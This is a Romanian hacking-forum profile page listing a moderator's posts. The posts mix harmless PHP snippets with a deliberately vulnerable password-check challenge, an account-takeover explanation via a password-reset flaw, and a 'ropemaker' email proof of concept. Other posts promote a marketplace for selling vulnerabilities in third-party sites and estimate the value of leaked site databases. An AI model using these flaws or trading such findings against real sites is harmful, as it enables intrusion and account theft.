Jump to content

Dragos

Moderators
  • Posts

    2658
  • Joined

  • Last visited

  • Days Won

    74

Everything posted by Dragos

  1. Nu este ok din punct de vedere algoritmic să foloseşti switch-ul aşa, scopul lui nu este să fie folosit pentru comparaţii matematice. C++ nu permite aşa ceva, Java nu permite aşa ceva, este doar o chestie specifică PHP-ului pentru a oferi mai multă libertate.
  2. Recent am avut nevoie să afişez timpul trecut de la ultimele acţiuni pe o platformă, aşa că am scris funcţia următoare: <?php function return_time($timestamp) { $mins = time() - $timestamp; if($mins == 0) { $mins = "adineauri"; }elseif($mins == 1) { $mins = "acum o secunda"; }elseif($mins < 20) { $mins = "acum $mins secunde"; }elseif($mins < 60) { $mins = "acum $mins de secunde"; }elseif($mins < 120) { $mins = "acum un minut"; }elseif($mins < 1200) { $mins = floor($mins / 60); $mins = "acum $mins minute"; }elseif($mins < 3600){ $mins = floor($mins / 60); $mins = "acum $mins de minute"; }elseif($mins < 7200){ $mins = "acum o ora"; }elseif($mins < 72000){ $mins = floor($mins / 3600); $mins = "acum $mins ore"; }elseif($mins < 86400){ $mins = floor($mins / 3600); $mins = "acum $mins de ore"; }else{ $mins = date("j.m.Y",$timestamp) . " la " . date("G:i:s",$timestamp); } return $mins; }
  3. The challenge was created by me, so yes.
  4. Pentru că m-aţi întrebaţi mulţi care e şpilul cu chall-ul, o să dau un exemplu real-case. În anumite platforme custom-made, scriptul de resetare a parolei arată ca cel de mai sus şi tabelul de utilizatori arată ceva de genul: ID | username | password | reset_token În momentul creării unei cereri noi de resetare, se generează un token pentru utilizator adăugat în reset_token în rândul cu utilizatorul. Utilizatorul accesează un link de genul următor reset.php?token=d41d8cd98f00b204e9800998ecf8427e&id=1 şi îi apare un formular în care să-şi introducă noua parolă pentru cont, după care câmpul reset_token se resetează. Utilizând vulnerabilitatea, putem reseta parola oricărui utilizator şi putem accesa platforma la nivel de administrator.
  5. Salutări, Zilele trecute am făcut un audit pe o aplicaţie şi am descoperit o vulnerabilitate destul de interesantă, aşa că am zis să fac un web challenge pe partea asta. Scenariu Un programator a creat scriptul următor PHP care cere o parolă pentru a vedea conţinutul privat al site-ului: <?php $mysql = mysqli_connect("","","","") or die("Conexiune esuata la baza de date."); $par = htmlentities($_GET['par'],ENT_QUOTES); if(strlen($par) > 0) { $sql = $mysql->query("select * from passwords where password='$par'"); if($sql->num_rows > 0) { //continut privat }else{ echo "Parola nu a fost gasita in baza de date."; } }else{ echo "Se asteapta parola in parametrul GET <strong>par</strong>."; } După terminarea scriptului, el a adăugat în MySQL comanda următoare, uitând să completeze câmpul de parolă: INSERT INTO `passwords` (`ID`, `password`) VALUES (1, ''); În final, programatorul a făcut publică aplicaţia la adresa următoare: http://dragos.interinfo.ro/rst/chall/ Cerinţă Scopul exerciţiului este ca să treceţi de filtrările PHP şi să afişaţi conţinutul privat. Detalii tehnice scriptul este acelaşi şi pe host userul MySQL are doar drept de select şi are acces doar pe baza de date dedicată exerciţiului După ce aţi rezolvat Trimiteţi-mi un PM cu mesajul afişat în cadrul conţinutului privat şi linkul final şi vă voi adăuga în lista de mai jos. Cine a rezolvat până acum: - adicode - aleee - caii - dancezar - DLV - Gecko - Hertz - kandykidd - Matasareanu - Nytro - Pintilei - pr00f - Silviu - Sim Master - SirGod - theandruala - u0m3 - xenonxsc - yukti
  6. Gmail oferă posibilitatea de a avea adresa personală cu punct sau fără (mai multe info aici). Prin scriptul următor se pot genera toate combinaţiile posibile pentru un ID dat. <?php /* Generate all combinations for a gmail username Author: Dragos <dragos@interinfo.ro> */ $input = "person"; $emails = generate_gmail($input); foreach($emails as $email) echo $email . "\n"; function generate_gmail($string) { $chars = str_split($string); $input = array(); for($i=0;$i<count($chars)-1;$i++) $input[] = array($chars[$i], $chars[$i] . "."); $input[] = array($chars[count($chars)-1]); $result = array(); foreach ($input as $key => $values) { if (empty($values)) continue; if (empty($result)) { foreach($values as $value) $result[] = array($key => $value); }else{ $append = array(); foreach($result as &$product) { $product[$key] = array_shift($values); $copy = $product; foreach($values as $item) { $copy[$key] = $item; $append[] = $copy; } array_unshift($values, $product[$key]); } $result = array_merge($result, $append); } } $final = array(); foreach($result as $res) $final[] = implode("",$res) . "@gmail.com"; return $final; }
  7. Bump Am actualizat lista cu tot ce s-a postat din decembrie 2012 încoace. Nu am mai pus ce s-a postat înainte de această dată pentru că majoritatea sunt scripturi sau tool-uri vechi care nu mai există sau care au domeniul de găzduire expirat.
  8. WordCamps are casual, locally-organized conferences covering everything related to WordPress, the free and open source personal publishing software that powers over 75 million sites on the web. WordCamps come in all different flavors, based on the local communities that produce them, but in general, WordCamps include sessions on how to use WordPress more effectively, beginning plugin and theme development, advanced techniques, security, etc. To get an idea of the types of sessions typically seen at WordCamps, check out the WordCamp channel at WordPress.tv. WordCamps are attended by people ranging from blogging newbies to professional WordPress developers and consultants, and usually combine scheduled programming with unconference sessions and other activities. For more information on common WordCamp elements, read about what to expect at a WordCamp. WordCamp Bucharest 2017 will take place on 7th and 8th of October at The Chamber of Commerce and Industry of Romania. Link: https://2017.bucharest.wordcamp.org/
  9. R is a language and environment for statistical computing and graphics. It is a GNU project which is similar to the S language and environment which was developed at Bell Laboratories (formerly AT&T, now Lucent Technologies) by John Chambers and colleagues. R can be considered as a different implementation of S. There are some important differences, but much code written for S runs unaltered under R. R provides a wide variety of statistical (linear and nonlinear modelling, classical statistical tests, time-series analysis, classification, clustering, …) and graphical techniques, and is highly extensible. The S language is often the vehicle of choice for research in statistical methodology, and R provides an Open Source route to participation in that activity. One of R’s strengths is the ease with which well-designed publication-quality plots can be produced, including mathematical symbols and formulae where needed. Great care has been taken over the defaults for the minor design choices in graphics, but the user retains full control. R is available as Free Software under the terms of the Free Software Foundation’s GNU General Public License in source code form. It compiles and runs on a wide variety of UNIX platforms and similar systems (including FreeBSD and Linux), Windows and MacOS. In this introduction to R, you will master the basics of this beautiful open source language, including factors, lists and data frames. With the knowledge gained in this course, you will be ready to undertake your first very own data analysis. With over 2 million users worldwide R is rapidly becoming the leading programming language in statistics and data science. Every year, the number of R users grows by 40% and an increasing number of organizations are using it in their day-to-day activities. Leverage the power of R by completing this free R online course today! Link: https://www.datacamp.com/courses/free-introduction-to-r?utm_source=fb_paid&utm_medium=fb_desktop&utm_campaign=fb_ppa
      • 2
      • Upvote
  10. M-am jucat în ultimele ore cu ropemaker şi pot să zic că nu este cine ştie ce. POC: <?php $to = "destinatar@site.tld"; $subject = "ropemaker vulnerability"; $message =<<<START <html> <head> <style type="text/css">@import "http://link_catre_extern/style.css"</style> </head> <body> I heard you are a <span id="content"></span> boy </body> </html> START; $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-Transfer-Encoding: quoted-printable\r\nContent-Type: text/html; charset=UTF-8\r\n"; mail($to,$subject,$message,$headers); În fişierul CSS avem aşa: #content:after { content:"good"; } După trimiterea mailului, se poate modifica fişierul css pentru a adăuga altceva (ex. bad). Din punctul meu de vedere, vulnerabilitatea este doar o problemă la nivelul programatorilor care au creat aplicaţiile şi nu ştiu să baneze importul de fişiere CSS din extern. Sunt foarte puţine aplicaţii care nu blochează spreadsheet-urile (vulnerabilitatea mi-a mers doar pe Outlook pe Android), deci, într-o lună, două, ar trebui să avem update-uri de securitate pe ele şi ropemaker să fie de domeniul trecutului.
  11. Cu o mică întârziere o să răspund şi eu la topic. Cea mai bună carte pe care o poţi găsi despre PHP 5 la momentul actual e "Iniţiere în PHP 5" de la Editura Teora. Am citit destul de multe cărţi şi ebook-uri de PHP, iar asta mi se pare cea mai ok. De asemenea, îţi recomand şi Zend Certification Study Guide, third edition. E un ebook uşor şi te învaţă multe.
  12. OFF: Sa nu spui ca vrei sa fie 0-day exploit-ul. Ontopic: Nu avem ce face cu bazele de date de la site-uri cu pr 1-4. Da, bruteforce pe parola si poate avem acces pe site daca omul nu si-a schimbat parola, dar doar pentru continut nu merita. Valoreaza maxim 100$, pret ce nu se compara cu ceea ce ceri.
  13. Poti sa fii fericit stiind ca nu ai spart parola (gen cum e la wep) sau ai incercat bruteforce pe ea, ci ai gasit alta tehnica. Dar daca tot ai gasit tehnica asta noua, de ce nu ai incercat sa afli mai multe informatii despre ea? Tehnica se numeste Evil Twin si e de ceva timp. http://null-byte.wonderhowto.com/how-to/hack-wi-fi-creating-evil-twin-wireless-access-point-eavesdrop-data-0147919/
  14. Acum m-am trezit si eu din chefuri. N-am stiut nimic despre asta.
  15. @tex si ceilalti: La Moeciu ar fi super si nici nu sunt preturi mari.
  16. E doar un "group by titluTopic".
  17. Incearca sa-l conectezi la iTunes.
  18. In ideea asta o sa-l transform. //Am blocat loginul pana dau drumul la update.
  19. Iti pui xss-ul de Yahoo! spre exemplu, un approver si un moderator ti-l verifica si dupa apare in db. Daca il cumpara cineva care e webmaster acolo, asta e. O sa implementez un sistem de rating si de report in cazul in care nu mai merge. In legatura cu Ultimele adaugate, ideea e buna, sa vad si cum o implementez. @Elohim: Mersi de review. O sa schimb un pic algoritmul ca sa ramana in partea de legalitate.
  20. Este momentan in faza de implementat un sistem de bug bounty. Vii si iti pui site-ul in db si ai acces la toate vulnerabilitatile gasite in el, cu posibilitatea de a bloca noile vulnerabilitati pe o perioada setata de tine (pentru a avea timp sa o repari). Iti ofer posibilitatea asa sa vezi care e problema in site-ul tau. In rest, fiecare e raspunzator pentru ce face si se tin loguri pentru activitati pentru cazuri din astea.
  21. Scurta descriere Bug Area e o platforma unde poti cumpara sau vinde vulnerabilitati web gasite pe Internet. Ideea din spatele Bug Area a mai fost testata inainte sub pseudonimul "Bug Reports". Atunci, fiecare putea sa-si adauge vulnerabilitatea gasita si, dupa ce vulnerabilitatea era verificata de o persoana din staff, primea un punctaj calculat dupa urmatorul algoritm pagerank * scorul_categoriei_vulnerabitatii. De asemenea, primii 10 "hackeri" erau afisati in sidebar. Bug Area e un nou concept bazat pe Bug Reports pe ideea vanzarii de vulnerabilitati pentru a primi Credite, moneda interna a platformei. Cu aceste Credite se pot cumpara/debloca alte vulnerabilitati web postate de ceilalti. Dupa ce o vulnerabilitate a fost trimisa, ea este verificata de doua ori, o data de catre un Approver si a doua oara de catre un Moderator. Acest procedeu este necesar pentru a avea rezultate mai bune pe platforma. Navigand pe site, se pot vedea host-urile tuturor site-urilor in care s-au gasit vulnerabilitati si, dupa ce ati selectat una din ele, le puteti cumpara cu Credite. Creditele se vor due catre cel care a publicat vulnerabilitatea. Fiecare membru e responsabil pentru ceea ce cumpara, publica si cum foloseste informatia de pe platforma. Detalii Fiind in faza beta, fiecare membru care se inregistreaza va primi un numar de 100 de credite. Cu acestea se pot cumpara alte vulnerabilitati, in scopul testarii platformei. Cu aceasta ocazie, puteti testa platforma si raporta orice vulnerabilitate, eroare, bug catre dragos@bugarea.com sau PM pe platforma. Voi analiza fiecare bug in parte si voi acorda de la Credite pana la VIP. De asemenea, caut persoane dornice sa faca parte din Staff pentru aprobarea vulnerabilitatilor. Fiecare persoana care aproba o vulnerabilitate are acces automat la ea in cazul in care trece si de pasul doi. Faza finala a platformei va fi prezentata la DefCamp la sfarsitul lunii.
  22. - Energizant - Cafea - Mancare - Tigari - Cafea - Cioco - Cafea - Tigari - Mancare - Bilete de autobuz
  23. La casele lui Iohannis am mai spus si in alte dati, in liceu am avut un profesor tot de fizica care are 2 apartamente si o vila in Brasov. Nu stiu daca e membru la vreun partid, dar sunt luate pe bune. Proful are doctorat, gradul 1 si din meditatii (50 lei/2h * 4 deodata * 3-4 zile pe saptamana) scoate 600-800 lei in plus pe saptamana. Asta inseamna 2400-3200 lei pe luna. Punand la socoteala si salariul lui de 2000 de lei (pentru ca are gradul I), ajungem la peste o mie de euro pe luna.
  24. Pentru cei care il aleg pe Ponta
  25. Eu vin cu zarurile.
×
×
  • Create New...